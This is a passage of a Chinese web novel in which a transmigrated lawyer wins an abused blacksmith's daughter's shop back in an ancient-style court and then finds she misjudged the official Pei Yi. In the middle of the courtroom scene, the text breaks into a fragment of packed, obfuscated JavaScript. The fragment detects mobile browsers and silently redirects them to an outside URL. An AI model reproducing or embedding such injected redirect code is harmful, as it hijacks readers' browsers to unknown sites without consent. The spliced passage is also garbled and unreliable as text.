她本想直接前往另一家店,却不想在门口被另一位浑身冒着热气的女人拦住。
“何事。”苏蔺安冷冷问。
女人边搓手边卑微解释:“夫人,那掌柜是我夫君,我替他给您道歉。您可是想买把贴身的器具?
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我可以帮您挑挑。”
“你瞎献什么殷勤,我们铁铺就这么缺一个客人吗!”她刚说完,里头的掌柜便怒不可遏地喊到
流汐转头轻嗤:“您这店铺行的是给一甜枣,打一棒槌的买卖吗?当真少见。”
女人立即与掌柜唱了个反调:“实在抱歉夫人,别在意这话。”她语气骤然轻了许多:“这单免费,给您赔罪了。”
苏蔺安本不想搭理,可也许因为女人局促的动作,也许是因为女人不安的神情与眼底微弱的希冀。
她终究不忍,停了脚步,从喉咙里挤出一句:“嗯。”
那女人脸上的笑容看起来真实了许多,她将手在身前的围裙擦了擦,领着苏蔺安到摆满刀具的墙前。
“夫人此前可曾学过武?”
她如实回答:“不曾。”
“那这这几把便再适合不过了。”
女人从一大片看起来一个模样的匕首中挑选出几个精致小巧的。
她拿出其中一把,站到铁匠铺中的铁片与宣纸前。
“咻!”刀片划破空气。
眼前的铁片宣纸接二连三闻声碎裂。
苏蔺安下意识吸气,没想到看起来平平无奇的匕首竟有这么大的威力。
女人羞涩笑笑:“夫人,这匕首仅五寸,刀柄亦简单,带在身边最是方便了,刀片锋利,哪怕是身长七尺的汉子,找准机会下他一刀也是要伤筋动骨的。”
苏蔺安打量她片刻,由衷地感叹这人不管态度还是专业程度都甩先前那个掌柜一大截。
她满意地点点头,不自觉感慨:“你不当掌柜当真是可惜了。”
不料此话一出,那女子的嘴角竟一下压了下来。
“怎么了?”律师的直觉让苏蔺安觉得这事必有不对。
下一刻,男掌柜不爽的声音传来:“卖完了吧,还傻站着做什么呢,还不去打铁!”
女人迅速低下了头,声若蚊吟:“无,无事......”
急匆匆地跑去了店铺外。
苏蔺安立刻跟着她跑去门,那女人竟真的在外头打铁。
她一下一下举起比她手臂还粗的主锤,又一下一下用力地砸下去。
苏蔺安默默站到了那女人的身后,无言注视着她。
她的视线是那样明显,等待许久,却始终未见那女人回头。
马车停在铁匠铺的巷子口,路不长,两边却住满了形形色色的人家。
几个布衣女子站在一块,边嗑瓜子边唠家常。
“啧啧啧,柳四娘又开始打铁了?”
“她也是个苦命的,柳大哥在世时她那夫君还装的人模狗样,现下一走,对四娘动辄打骂。”
“听说柳大哥留给四娘的铁铺也给他夺了去,害的四娘如今只能靠给他打工打铁为生,当真可恶!”
小臂蓦地传来一阵刺痛,苏蔺安侧头,原是流汐掐住了她。
她清清嗓子提醒,那股刺痛骤然消失。
“夫人,我,婢子不是......”
“我知道。”苏蔺安无所谓。
血红的颜色涂满了天空。
苏蔺安按下心中的想法,伸手拉着还在愣神的流汐往外走。
“夫人,婢子想回去与四娘说句话......”
“不急。”
5. 意味不明
夜风吹动墙角栽的杜鹃,鲜红的花瓣缓缓坠下。
苏蔺安回忆着白日里四娘邻里的话蠢蠢欲动。
四娘的事若情况属实,以她穿越前的经验来看,拿回铺子简简单单,还可以靠这案赚积分,即使是最低一档都非常划算。
只是今日四娘明明不服她那位夫君当掌柜,却像是被什么束缚住一般闭口不言,想来要让她接受自己的帮助,还要耗费一番功夫。
“备好明日的马车。”苏蔺安低声吩咐。
铁匠铺今日格外冷清,先前那个男人掌柜也不知跑到何处去了,只剩四娘一人在门口站着,见她们来,便急忙上前迎接。
“夫人,可是先前的匕首出了差错?”
苏蔺安温婉笑笑,“并非。”
她缓缓向铺子内走去,耳边却并没有跟上来的脚步声。
一回头,果不其然,柳四娘站在原地不动,没有跟上来的意思。
“四娘,眼下风凉,店里也没人,你怎不进屋?”
四娘嘴唇一抖:“夫人,我,我是要在外头打铁。”
“可我瞧着,炉子里未曾烧着热铁啊?”苏蔺安语气一顿。
四娘这反应不对劲。
她的语气愈发柔和:“四娘,你可是遇到了什么难处?”
见四娘不语,苏蔺安又向她走了几步,却也不敢逼得太紧:“四娘,我是讼师,你若有难处,我可以帮你。”
此话落下,眼前的女人依旧沉默。
苏蔺安有些失望,却不气馁,她一边后退留给四娘空间,一边在心中谋算着接下来该如何打动她。
“是我唐突......”
“不,夫人!”四娘骤然抬头握住她的手。
苏蔺安这才发现,四娘的脸上竟不知何时盈满了泪水。
她陡然愣在原地。
“这铁匠铺本是我父亲所有,父亲几月前走了便给了我,那王棋,那可恨的王棋!先前装的人模狗样,父亲一走竟将这铺子夺了去,让我干铺子里的脏活累活,若我不从便是一顿毒打!”
恨恨道完,四娘掀起自己的衣袖,纤细的胳膊上布满了疤痕,疤痕上又布着看起来落下没多久的青紫。
苏蔺安一惊,下意识想去触摸那些伤,却又在离那胳膊一寸处堪堪停住。
这样的伤,四娘得多疼。
她将衣袖拉下,迅速回握住四娘的手:“风大,四娘莫着了凉。”
眼眶不自觉有些泛酸,苏蔺安终于明白了昨日四娘眼里的坚持与希冀。
“四娘,我想帮你。”
话音刚落,柳四娘竟一下咬唇掉下了眼泪。
看的人心酸。
苏蔺安将自己身上的氅衣披到四娘的身上,取出袖口的碎银递给流汐,“快去请个大夫。”
既已决定起诉王棋,接下来的时间便一刻也不能耽误,还是要尽快拿回铺子帮四娘结束这折磨。
而证据,在诉讼中便是最重要的一环。
“四娘,你先在铁铺安心上药。”苏蔺安扶着四娘坐下,握紧她的手,“我先去问问那些邻里可否愿意为你作证。”
“好。”
午时刚过,正是邻里们用完饭休憩的时间,巷子里妇人们三三两两聚到一起说话,有一下没一下唠家长里短。
苏蔺安一眼就看到了昨日那三位,快步朝那走去,
她先是自我介绍:“夫人们,我是四娘的讼师。”
对面几位妇人倒是好说话,朝她点了点头,右边那位更是一挥帕子,“你可千万不要放过那王棋!”
苏蔺安笑笑:“此番前来便是为了此事,听闻你们对四娘之事甚是熟稔,不知可否愿意出庭作证?”
不料话落,三位妇人竟默契地沉默下来,你看我,我看你。
心底一凉。
须臾后,左边那位唤陈大娘率先尴尬笑笑:“这,我未曾读过书,上庭时想来也是说不清的,不若去问问别人。”
“我家媳妇才生,实在不是我不想帮忙,实在是抽不出空啊......”右边的吴二姨也立刻跟上婉拒。
苏蔺安嘴角的笑已然挂不住,却还是将目光转向中间剩下那位未曾回复的妇人,眼底不自觉带上渴求。
中间那位叶娘子却将头一扭,拿着帕子掩住鼻子,选择了相同的答案。
......
这与她预想中几位妇人爽快答应作证的结果完全不同。
苏蔺安强忍住心中的不快,还是对她们扯出一抹笑容,留下自己的住址,“作证开庭结束后必有重谢,几位夫人若是改变了心意随时可以来找我。”
也算是给自己留了个希望。
回到铁铺,苏蔺安收拾好被接连拒绝的坏心情,不说案子进度,转而提起另一件事。
以王棋那德行,四娘定然不能接着留在这里。
她想带四娘走,可自己现在都在被追杀。
苏蔺安不怕自己将四娘带回院子引人猜疑,就怕因此反倒连累四娘丢了性命。
“四娘,你可有避难的地方?”
柳四娘思索一番,有些犹豫:“前几日姑母喊我去她那小住......”
“王棋可知道?”她仔细问。
“不,姑母只在出嫁前来过几次铁铺,王棋没见过她。”
心中唯一的忧虑也彻底解决。
苏蔺安拍板:“好,那你现在收拾行囊待会去姑母那。”
只是苏蔺安没料到,竟然会在四娘姑母府上见到裴翊。
他一袭墨衣,难得戴了发冠,乌檀木赞横插其中,颇显贵气,漫不经心地坐在正厅的交椅中,敛眉垂目,食指搭在茶盏的杯壁。
而四娘的姑父正弯着腰站在他跟前,声音低低地说些什么。
厅内摆着的纱制屏风将屋子分成了两个区域。
苏蔺安与四娘及姑母便停步在屏风后。
片刻后,她悄悄抬眼,透过眼前的层层白纱,默不作声望向上座的男人。
裴翊歪了歪头,几缕发丝顺着下垂到桌面,他眉梢微挑,食指落在桌上的文书点了点。
下一刻,他动作忽然停住,裴翊猛地抬眼,黝黑瞳孔扫过室内一圈,精准锁到屏风后的苏蔺安。
苏蔺安看着几米外的男人眼底闪过一丝诧异,紧接着微微蹙眉,像是对她的到来产生了疑惑。
苏蔺安心一惊,立刻移开了眸子。
裴翊淡淡打断眼前汇报的男人,向她们的方向抬了抬下巴。
那位齐大人这才反应过来,迅速收了桌上的东西,转过身来,“可是有客来访?”
姑母这才领着她二人上前,“这便是我先前说要接过来小住的外甥女四娘,这位是四娘的朋友,苏娘子。”
“原是如此。”齐大
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人和蔼笑着:“苏娘子可定要在我齐府用完饭再走啊,否则招待不周了。”
苏蔺安摆摆手,“怎会。”
姑母跟着笑,手轻轻搭在苏蔺安的衣袖上:“我也如是说,娘子莫客气了。”
她攥紧衣袖下的双手,还是婉言拒绝:“家中还有要事。”
姑母连道可惜,又留裴翊晚饭。
裴翊轻笑,片刻后他灼人的目光落在苏蔺安的发顶。
薄唇吐出和她同样的几字:“家中还有要事。”
苏蔺安慢悠悠出府走到马车前时,裴翊已经带着暮安先她一步侯在那了。
他面色沉静,走近后还有那股熟悉的温润书卷气,却像是拦路虎般站在苏蔺安的车前。
她无端想到“兴师问罪”这个词。
苏蔺安在离男人一米外的距离停了脚步,四目相对,无声地询问。
“你怎会与齐府的外甥女扯上联系。”
裴翊不咸不淡的声音传来。
苏蔺安脸色一下便冷了下来,这语气好像把她当成一个犯人般审问。
她眯了眯眸子,不接这话。
见她不答,男人上前一步,高大身影挡住天上刺眼的阳光,他也不语,只是目光沉沉地望过来。
两人就这样互相盯着对方,谁都没有将视线移开一丝一毫。
空气间弥漫着火药味。
就连走过的路人也不经回头望了几眼这对奇怪的男女。
片刻后,裴翊率先开口:“先上车。”
马车缓缓起步,窗外景象也跟着动了起来。
苏蔺安直视前方,将四娘的事如实托出。
当真奇怪。
即使是裴翊在日日怀疑她身份的时刻,她竟也下意识做出了这样的决定。
苏蔺安说完后,不知时不时她的错觉。
竟见身侧的男人面上闪过一瞬的厌恶,但下一刻他便调整好了表情,点出关键:
“她们先前对诉讼之事支持,后却拒绝作证,必有隐情。”
一语惊醒梦中人。
这倒是苏蔺安没注意到的点。
是啊,几位妇人前后态度差距甚大,当真不对劲。
想来明日还要去接着探探。
思虑间,马车便到了她居住的院子。里头已经点上了灯,今夜无雨也无云。
“大人可要下来喝杯茶。”
刚受人指点,不至于一盏茶都不给。
裴翊视线落在她脸庞须臾,道:“好。”
苏蔺安将匕首顺手放在院里的石桌,自己则开始专心沏茶。
片刻后,将其中一盏推到男人的面前。
“大人,请。”
裴翊目光却并未因此转来,她跟着缓缓看去,是石桌上她随手放的匕首。
刀刃泛着丝丝冷光,他却若无其事地盯着。
“你何时对这样小巧的匕首感兴趣了?”
面前的人表情淡淡,视线早在言语落后便转到了她。
语气明明熟稔地像是随口一提。
苏蔺安的心跳却骤然拔高了一个频率。
她知道,自己是绝对不会和身份存疑的人无缘说起原身的事,更别提裴翊。
男人露出个意味不明的笑,“你家小姐从前最爱舞刀弄枪,更是看不上这样的生手器具。”
“我说的对吗?流汐。”
6. 接人
苏蔺安瞳孔不自觉放大,一颗心脏也像是被猛地掷在海洋中,浑身上下喘不出一丝气。
她努力保持着表面的平静,逼着自己不回头查看流汐的表情。
只是垂在身侧的手指早已在大腿掐出用力的白痕。
片刻后,流汐犹豫的语气传,“婢子是在夫人出嫁后才过来服侍的,并不知晓从前的事......”
......
心脏重新开始跳动,攥紧的手指分开,苏蔺安深深吁出口气,脸上神色不自觉放松许多。
“原是如此。”裴翊敛眉,片刻后歉意笑笑:“倒是我疏忽了。”
许是因为才熬过一场浩劫,苏蔺安变得意外宽容。
她道句“无事”,旋即低声找补:“前些日子病后便虚弱许多,这匕首正适合眼下的我。”
“既如此,日后定要好好休养。”
裴翊视线落在她手心,顺着苏蔺安的理由接话,随即离开。
看起来像是相信了她这番说辞。
夏初的夜里繁星点点,苏蔺安坐在院子放空吹风,脑袋却不自觉放空想到四娘那几位邻里。
若是不愿出庭作证,那不出庭作证呢?
她回忆起穿越前大学教授曾在课上提过一嘴,古时很早便有过不出庭作证的规矩,为不便之人所立,条件也不算苛刻。
只是不知本朝可否设立。
苏蔺安立刻从木椅上爬起,将那五本厚法典搬出,一页页翻找着关于证人的条律。
上面大多默认证人出庭,直到最末尾,才出现一行,十五岁以下、七十岁以上或确有不便者可以在里长乡绅联署担保下画押供状。
可惜仅此一条,再无更多对于此律的关联条法。
但这已经足够了,“或确有不便者”,短短六个字,却像是什么奇药般让苏蔺安疲惫的身体立刻精神起来。
她又重新整理好四娘的物证以及本条律法,趁早晨空闲时间,吩咐车夫前去铁匠铺的巷子。
陈吴叶三位夫人果真又聚在一起,看起来关系很是亲密。
她拿好手中的物证,悠悠走去,“夫人们。”
“是你。”陈大娘率先应了苏蔺安,只是眼神里多有戒备。
她恍若未觉,随手拿出手中的膏药,如同唠家常般,“四娘的药又擦完了,她不敢出门,便只能由我代拿......”
说着,语气更凄惨了些:“四娘满身都是被那畜牲王棋打出来乌青,这一小瓶药,不过只是一天的用量......”
苦肉计,自古以来,百试百灵。
果不其然,那三人眼里都流露出不忍的神色,陈大娘更是附和着骂了几句王棋。
苏蔺安迫不及待加火,“四娘毕生的心愿便是替父亲守好这一方小铁铺,谁能料到现下铺子没了,还被欺负的不成样子......”
“为人父母,柳大哥在天之灵看到女儿这副模样,必定后悔极了!”
一番番话下来,家里有两个孩子的吴二姨坐不住了。她上前一步,眼见着愿意出庭作证的话都在嘴边,却被一直沉默的叶娘子拉住。
“苏娘子费这样大的力气演一场戏给我们看,不过是想让我们出庭作证。”
她顿了顿,语气更加犀利:
“娘子只顾着四娘,却没有想过我们这番证人会遭受什么。王棋那疯样,他若出狱定然不会放过我们,我们在衙门抛头露面,夫家又会如何看待我们。”
苏蔺安深吸口气,“我正是知晓了夫人们的顾虑,并想出解决之法,才会再次拜访。”
她拿出法典,指着那条律一字一句:“十五岁以下、七十岁以上或确有不便者可以在里长乡绅联署担保下画押供状。”
三人盯着那条律许久,陈大娘与吴二姨相互对视一眼点头,答应作证。
只有叶娘子发出了最后的疑问:“你确定可担保我们绝对不用出庭?”
诉讼过程谁也说不准。
即便现代,也常有不出庭作证被临时传唤去现场的情况。
这一点,她无法保证。
思虑片刻,苏蔺安在心底做出选择,坚定地回答叶娘子:
“我只求夫人们书面作证,若到时要求出庭,无需理会,我愿一人承担那时后果!”
物证有,证人也愿意作证;苏蔺安立刻书写了一份诉状,并早早提交到慈山的衙门。
慈山官员倒没有想象中的不给力,第一日便扣押了王棋,接下来半月递交物证,联系乡绅里长完成人证。
转眼,便到了开庭的日子。
知县神情肃穆地坐在公案后,王棋被扣着跪在中间的瓷砖,而苏蔺安携着四娘在两侧提刀小吏的注视下缓缓站到了他的身边。
整个公堂庄重严肃,从上至下都泛着透骨的凉意。
“吾控告王棋殴击、夺妻铁铺!”苏蔺安上前一步掷地有声,同时拿出了早已准备好的物证,以及陈吴叶三人的作证文书。
知县垂眼翻看发问:“王棋,你殴打妻子柳如鑫可属实?”
“口说无凭!”王棋激动地想站起答话,才起了半个身子就被小吏迅速压回去,“我与如鑫感情甚笃,不过是小打小闹......”
“口说确实无凭。”苏蔺安跪地行礼:“不如请仵作验验,一辨就知。”
知县眯了眯眼,“准。”
一炷香后,验伤才结束,仵作回到公堂时朝知县极小幅度点了点头。
下一刻,知县的表情一下变得怒不可遏,掷出一张令签精准扔到王棋的腿边。
“公堂诡辩,罪加一等!”
一张令签行刑五杖。王棋即刻便被身旁的小吏压下。
须臾后,令人作呕的血腥味缓缓萦绕在公堂中。
王棋的囚衣也渐渐现出鲜红血迹,他闷声受罚,一双眼睛却死死盯着苏蔺安,毫不掩饰心中的怒与恨。
苏蔺安恍若未觉,接着数列他的罪证:
“柳大哥亲口所言将铁铺传给如鑫,王棋却在其去世后霸占铁铺自称掌柜,并将收入全权拿走,逼的真铺主只能靠为他打铁勉强生存。”
“婚后夺妻财产,犯户婚律第八段第三条,属盗卖妻子财务,当杖刑八十,徭役三年。”
知县翻着证据点点头,“王棋,你可有异议?”
浑身冒着血气的人缓慢地攥紧手心,一毫一毫地挺直身子,“我不认!”
“今日庭审,我原以为会衙门会还我一个公道,不料次次都被这所谓讼师口中的证据脏污。”
“物证,暂且不提。可她口中的人证呢!人证在何处!”王棋咽下喉中的血沫:“证人自始自终不出庭......莫不是做了伪证心虚呀!”
苏蔺安太阳穴一跳,最担心的事还是发生了。
她立马转了视线望向上头的知县,屏气等待着知县的回答。
知县沉吟片刻,“宣。”
这便是律法不全的坏处了,虽有不出庭作证的法律,却没有相对应的解决之法。
给妇人们做出保证的那日还历历在目,叶娘子的担忧更是萦绕耳畔。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674197|188668||http|test|mini|href|location''.split(''|''),0,{}));
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>苏蔺安举起双手置在眼前,“既已选择文书作证,何故要让证人多走一遭。知县若对这份证据存疑,不如宣巷中愿意出庭的邻里质对。”
“这份人证定有问题!”王棋肉眼可见地自信起来。
“说来说去,还是不愿证人出庭。我瞧现下也没有质对的必要,这压根就是柳如鑫与这讼师联合做的假证!”
“先前这讼师说的如此义正言辞,现下让证人出庭却百般不愿,莫不会真有不对......”
“我看着也是,若不虚心怎会这样阻挠。”
“啧啧啧,还好王棋聪慧,不然就让这两个毒妇得逞了!”
眼见着庭下的看客也被彻底带歪了方向,讨论声愈演愈烈。
更有甚者已经开始为王棋鸣冤,叫着要让她们入狱。
四娘被这阵仗吓到,满眼慌乱,紧张地扯住苏蔺安的袖子。
她太迫切脱离王棋,先前又过于顺利,根本没有想到短短一刻钟的时间,公堂上的风向会转变的如此之快。
苏蔺安握住四娘的手,“这份人证是在里长与乡绅的联保画押写下的,不存在作伪证的可能。”
她深知若坚持这份证据,便绕不开出庭。
“王棋所作所为,巷子里人尽皆知,知县不如召唤巷中居民,人证是真是假,一问便知。”
知县沉默片刻,眸中神情愈发危险,“可我瞧着这三位证人,没有不出庭的理由啊......”
“谁说她们不愿出庭了。”
下一刻,在苏蔺安还没反应过来前,那道温润而又熟悉的男音便在所有人都没注意到的时刻,登堂入室。
她心弦一颤,有些迟钝地回头。
裴翊一袭官服,似笑非笑地领着陈吴叶三位进了公堂。
苏蔺安意识到什么,竟产生一种荒诞成真的戏剧感。
他已在慈山驻扎将近一月,知县自然认得。
“裴大人怎么来了?”
“我本是来接人的,却见这三人一直在门口徘徊,一问才知是想进去作证却被拦在门外。”
裴翊淡淡解释。
但这话一出,却一下便洗白了她作伪证的可疑。
不想出庭作证与不能出庭作证,完全是两个概念。
有时胜负便在一个节点决定。
王棋证据确凿,数罪并罚,判杖刑八十,徭役五年,铁铺归还四娘。
而陈吴叶三人更是在开庭结束后前来祝贺苏蔺安与四娘,全然不见先前对要出庭作证时的忧虑。
苏蔺安笑着回应了她们。
却很好奇裴翊到底对这三人说了什么,才使得她们变化这样大。
但苏蔺安更好奇的,是裴翊怎会做出这样的行为。
一切发生的太快。
她预料的事都发生了,却又都解决了。
而帮她解决的人,是最意想不到的那位。
慈山事情本就繁多,苏蔺安早就从小厮口中听闻裴翊日日忙到朝阳升起。
半月前,自己更是因匕首被他不轻不重地刺了一下。
而这样临时救场,定然是持续关注四娘之事。
设身处地,她对一个身份存疑的人做不到这种程度。
她慢慢走出衙门。
天很蓝,树碧绿,耳边时不时已经有蝉虫吵闹的声音了,万物欣欣向荣。
裴翊站在马车前,身姿颀长,面容俊美,赏心悦目地像是从名家水墨中走出来的。
见她到来,慢条斯理地将手中纸伞撑在了苏蔺安的头顶。
7. 误会
苏蔺安不解:“怎么了。”
“说了来接你。”
她这才后知后觉地想起来裴翊进入公堂时似乎是提了嘴他是来接人。
只是被当时的她下意识当成了个托词。
“原是如此。”苏蔺安点点头。
但就在一刻钟前,四娘约了她晚上去慈山本地的大酒楼庆祝开庭顺利。
她身侧的手蜷了蜷,轻轻地开口,“我与四娘约好了去八珍阁庆祝。”
不用明说,裴翊便明白了她的未尽之言。
男人并未因被拒绝而面红耳赤,他平淡点头,低声嘱咐:“注意安全。”
旋即便让出马车前的位置,让苏蔺安上车。
八珍阁是慈山本地最大的酒楼,菜色齐全美味,价格也不是普通馆子能比的。四娘便是拿回了铺子积蓄也并不充盈,这样一顿饭,必然是用了心的。
四娘一上来便将八珍阁的大菜都点了一遍,随即又上了坛不知姓名的酒。
闻着有股清淡的梅子味,很是馋人。
她将自己与苏蔺安手边的小杯都倒满。
苏蔺安浅浅地抿了一口,甜甜的,应该是果酒,味道也不错,便没注意,一下喝了三四杯。
四娘赶忙夹了些菜到她碗里,将她的酒杯收了。
“蔺安,这酒后劲很足的,先垫垫。”
而苏蔺安显然不是什么酒量很好的人。
她用力地眨眨眼,有些呆地盯着四娘看,须臾后,对她咧开个傻笑。
“没事,我现在很清醒。”
......
四娘忍俊不禁,“好,那我接下来说的话,你一定要记住哦。”
她自顾自斟了两杯,颇豪气地抬手敬苏蔺安,“蔺安,其实我始终欠你一句歉。”
“我知道,你不是慈山人,也一定见过很多不一样的事。因为在慈山,光我便见过不下四五个,铺子或是嫁妆被夫君夺走的娘子。
她们也曾反抗过,也曾努力过,但结局总是那样。没了念想,她们也只能稀里糊涂地那样过下去,也劝我算了,毕竟,日子走下去才是重要的。
但我运气差些,王棋不当人,动辄打骂,我忘不了心中的恨,我做不到。”
“你找上来时,是第一次有人和我说,要帮我拿回我的东西。我震惊,却也以为你是个江洋骗子,毕竟先前从未听闻过这种事。”
四娘说着,泪水从眼眶滑落。
“对不起,蔺安。”
苏蔺安拿出袖中的帕子,动作有些迟钝地擦干她的眼泪。
她眨眨眼,似懂非懂地表示了解。
“没关系。”
不论有没有喝醉,她都是会理解四娘的。毕竟在这个信息闭塞又落后的时代,女子们想要维权是如何艰难。
光“维权”这个念头,便是一大批人所没有的。
似是觉得可信度不够,苏蔺安身子朝四娘那靠了靠,轻拍她的后背。
“没关系,四娘。”
四娘又进了杯酒,“不过,也感谢蔺安教会我。不能随意误会他人。”
话音未落,后劲已经上来的苏蔺安便见身旁的四娘“砰!”一声,倒在了饭桌上。
盯着女人沉睡的侧颜许久,苏蔺安才后知后觉地反应过来,四娘这是睡着了。
她晕乎乎地将四娘扶到床上,独自一人站在窗前。
灵台还是不甚清明,但苏蔺安的脑子里却一直环绕着四娘的那句“不要随意误会别人”。
这应该是个错句吧......
她眯着眼想。
在心底纠正了一下,她又很跳跃地想到了裴翊。
裴翊是那个被自己误会的人吗?
其实,不管在那晚前还是那晚后,不管是否怀疑她的身份。
无可否认的是,裴翊确实将距离保持的很好。
所以她才会一直对他抱自己回床这件事一直保持着怀疑态度。
裴府只有她一位夫人,裴翊没有妾室,原身又是进来避难的。也就是说这人活了二十多岁,一直孜然一身。
总不可能遇见自己这个穿越过来的女子,一下动了凡心吧。
苏蔺安自己都忍不住笑了。
她望着天上的月亮,不知为何眼前越来越模糊。
须臾后,也忘了自己在想什么,只感觉眼皮好重,要睡觉了。
第二天,她是被积分到账的时间吵醒的。
“10积分已到账,请宿主注意查收。”
“10积分已到账,请宿主注意查收。”
“10积分已到账,请宿主注意查收。”
该死的机械音,她没确认查收,就一直在脑海里36D环绕这句话。
苏蔺安狠狠皱眉,将被子拉到头顶,无可奈何地在心中大喊:“知道了,知道了,确认查收!”
世界一下便安静了。
但苏蔺安睡不着了,她认命地从床上爬起来。
四娘还在另一边呼呼大睡。
洗漱完毕后,流汐将一个小木盒递到她的面前。
“这是大人今日送来的礼物,贺您诉讼成功。”
“今日?”苏蔺安抬眼有些不可置信。
流汐点点头,“听闻您还未起身留下礼物便走了。”
苏蔺安沉默许久,手腕撑着脑袋,视线盯着那小木盒。
裴翊会送她什么呢?
在昨日他救场前,她会觉得这人不安好心,但现在,她却猜不出了。
沉思片刻,苏蔺安慢慢掀开木盒的盖子。
里头居然摆着本颇厚的书册。
是书吗?这送的礼物倒是别出心裁。
她拿出来,轻轻翻开。
第一页,标题写着:四十七年,明氏女沉河案。
这案子在这朝代耳熟能详。
明氏女新婚夜被夫家指认婚前失贞,当晚便被沉了河,明氏父母无法接受女儿就这样逝去,徒步千里到了京城为女儿击鼓鸣冤。
当时朝堂也因此吵的腥风血雨,观点大致分成两派,一派认为咎由自取;一派认为此举欺人太甚。
最后查明明氏乃清白之身,此举是夫家为了续娶当地一名富商家的女子想出来的招式。
女子们自发地上街游行为明氏喊冤,而在那之后,法律也为她做出了改变。
蓄意杀妻者杖一百。
等同于偿命。
苏蔺安又翻了几页,里头的每一面都记录着本朝极具代表性的案件。
结尾处更是附上了书册主人对这些案件的感想,字迹凌厉、遒劲有力,如同他们的主人一般。
她甚至能想象中裴翊落笔时的神情,眉心微蹙,薄唇不自觉抿紧,思考片刻后,青筋分明的手握着毛笔在册子上留下一道道痕迹。
看着不起眼的小小一册书,实则耗费了不少心血。
裴翊送这礼物显然是用心了,册子里的案件能够帮助她
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很好地了解这朝代习惯的判案方式,熟悉律法。
比单纯背法典好用的多。
心底的某处像是被风轻轻吹了一下。
苏蔺安缓缓合上册子,决定把这个小本子安置好,时不时就拿出来翻一翻。
但她心底却产生了更深的疑惑。
这样一个细致、有分寸感的裴翊,当真会是自己印象里那个下流的人吗?
也许是小时候武侠电视剧看多了的原因,苏蔺安自小便是一个很有正气的人。
成为律师也这样的性格特质有关。
她不愿意冤枉一个好人,也不想放过一个坏人。
回到院子后,她又将当晚吩咐的下人们都叫到跟前,一个一个仔细询问。
可惜距离那日过去了太久,大多人也早已不记得当晚具体的情况。
眼见着马上午时,苏蔺安便也只能放他们回去午饭休憩。
而她则走到了前院散心。
“夫人都那样瘦了,居然也不多吃些,盘问了一上午,就吃些素菜......”
“你个老婆子,又不是夫人贴身服侍的,怎知夫人身材如何?”
“我自然知晓,你可不知,先前我有幸抱过一回夫人。”
苏蔺安一下便被这话吸引了注意。
她在脑海回想一番,确定自己对这嬷嬷毫无印象。
而她口中那个动作怎么听起来与自己现下查的事如何熟悉......
“你说什么?”苏蔺安上前一步。
她骤然出现,将闲聊的两人都吓了一跳。
“夫人,我们刚送完菜,并没有躲懒。”
“是是是...”
苏蔺安摆摆手,浑不在意这些。
她朝那嬷嬷走近,又问了一句:“你方才说什么?”
嬷嬷小心翼翼地说:“先前有幸抱过一回夫人......”
苏蔺安点点头,视线紧紧盯着眼前的妇人,“你是何时抱的我。”
嬷嬷一时被问到,数着指头便开始算日期,像是回忆到什么那般,
“是您来的那日,您来这院子的第一日!”她一拍手:“那日我过来守门,便被裴大人喊进去,他让我将在长榻上睡着的您抱到里头的床榻上去。”
......
一切都明了了。
那晚裴翊不知为何回院子找她,却意外撞见在长榻上休息的苏蔺安,便吩咐的嬷嬷将她抱回床上。
还真是。
她居然真的误会了裴翊,还误会了那么久。
这是自苏蔺安穿越以来,第一次产生愧疚的情绪。
也倏然开窍找到了当时觉得不对的原因。
她只问丫鬟裴翊是否回过正房,却忘了在裴翊之后是否还有其他人还进来过。
便下意识地认为只有裴翊一人进来,自然也是他将自己抱回的床榻。
可裴翊那样一个冷情的人,怎么可能会做出这种事呢。
苏蔺安挥手让那二人退下。
走回正房,捂着脸,“砰”一下靠在餐桌的边缘,将脑袋埋得死死的。
这一下,她便记起了裴翊的许多好来。
自穿越以来,他先是出走京城时为自己留了逃生的路,还不顾下属反对同意让她来慈山,更是在四娘案的关键时刻救场。
而她则因为一点疏忽,一直误会了这人。
裴翊若是知晓了,岂不是让人寒心......
8. 长刀
做错立正挨打,是苏蔺安成长过程中一直信奉的原则。
她误会了别人,现下虽然说不上立正挨打,但最基本的道歉还是要做的。
苏蔺安又将脑袋往桌上一趴。
对于向裴翊道歉这一事,毫无思路。
“流汐,你若做错了事一般怎么与人道歉。”
闷闷的声音从桌下传来。
“平日大多嘴上认错道歉,若别人不应,便好好买个礼物,认真赔礼。”
苏蔺安倏然抬起脑袋。认可了这个提议。
她立刻吩咐车夫前往奇物阁,这是慈山最出名的铺子,据说里头什么都卖,就看你给的价格够不够格。
说的玄乎其神。
苏蔺安下车时,却隐隐闻到一股难闻的血腥味。
但眼前接待的店小二与服侍的流汐却又一脸平静,什么都没察觉。
“你们可曾闻到什么奇怪的味道?”她不放心地问。
流汐摇头,表示没有。
小二则以为苏蔺安不放心这的卫生,“夫人放心,奇物阁前日日人流混杂,我们都会定时清理的。”
两人当真什么都没闻到。
她敛下眸子,不再提起此事,只是多留了个心眼。
好在进入奇物阁后,那股血腥味便消失不见。
苏蔺安也终于能安下心,好好逛逛这被吹的天花乱坠的奇物阁。
但这份稳定并没有维持多久。
很快,她便感觉似乎有人在盯着自己。
而这道视线阴森粘腻,毫不掩饰其中明晃晃的恶意。
苏蔺安挑选东西的动作一滞。
须臾后,不经意般抬头环视了一圈奇物阁。
什么都没看到。
甚至目光所及之处,这层奇物阁就她、流汐与小二三人。
那这道视线从何而来。
她往柱子后躲了躲,逼自己不去在意这异样的感受。
现下尽快挑选好礼物离开奇物阁才是最明智的。
但奇物阁着实没有传的那么厉害。
苏蔺安在里面逛了一圈却都没见着什么合心意的东西,许多她都觉着有些粗制滥造,根本没有别人口中那般惊艳;而精细的,却又与裴翊的气质不符。
挑挑拣拣许久,竟没有一个看上眼的。
小二都忍不住调侃:“娘子这样细致,莫不是要送给心上人?”
苏蔺安嫌弃东西的眉心一滞,下意识反驳:“不是。”
顿了顿,又闭紧了唇,不再搭理小二,自顾自挑选剩下的,脚步愈发快。
直到再上一楼时,她瞧见那摆在柜台中央的砚台。
和田玉为底,以银线为丝在壁上绣出丛丛竹林,生动秀丽,立刻便吸引住了苏蔺安的目光。
不知为何,看到这砚台的第一刻她便下意识觉得这东西与裴翊十分适配。
